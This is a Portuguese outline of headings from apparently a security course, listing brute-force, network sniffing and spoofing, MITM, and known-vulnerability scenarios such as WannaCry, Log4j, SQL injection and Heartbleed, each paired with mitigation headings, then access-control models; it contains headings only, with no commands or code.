Cenário 1: Senha Fraca (4 dígitos)

Cenário 2: Senha Mais Complexa (8 caracteres alfanuméricos)

Mitigação no Servidor (Proteção contra Brute Force)

Instalar dependência:

Conclusão

Ataques de Rede (Sniffing, Spoofing, MITM)

1. Sniffing (Captura de Tráfego)

Cenário: Capturando Credenciais em HTTP

Mitigação:

2. Spoofing (Falsificação)

Cenário 1: ARP Spoofing (Envenenamento de ARP)

Cenário 2: DNS Spoofing

Mitigação:

3. MITM (Man-in-the-Middle)

Cenário: SSL Stripping (Downgrade de HTTPS para HTTP)

Mitigação:

4. Demonstração Prática com Ferramentas

Configuração do Ambiente:

Ferramentas Recomendadas:

5. Mitigações Avançadas

HTTPS/TLS em Tudo:

HSTS:

VPN e Segmentação:

IDS/IPS:

Conclusão

Exploração de Vulnerabilidades

1. Cenário: Exploração de SMBv1 (WannaCry)

Contexto:

Simulação do Ataque:

Mitigação:

2. Cenário: Exploração de Log4j (CVE-2021-44228)

Contexto:

Simulação do Ataque:

Mitigação:

3. Cenário: SQL Injection (Clássico)

Contexto:

Simulação do Ataque:

Mitigação:

4. Cenário: Heartbleed (OpenSSL CVE-2014-0160)

Contexto:

Simulação do Ataque:

Mitigação:

5. Cenário: Zero-Day em Aplicação Web

Contexto:

Simulação do Ataque:

Mitigação:

6. Fluxo de Mitigação (Priorização)

Scan de Vulnerabilidades:

Priorização:

Patch Management:

Pentests:

Conclusão

🔐 Segurança Física x Segurança Lógica

Segurança Física

Segurança Lógica

🎯 Modelos de Controle de Acesso

1. DAC (Discretionary Access Control – Controle Discricionário de Acesso)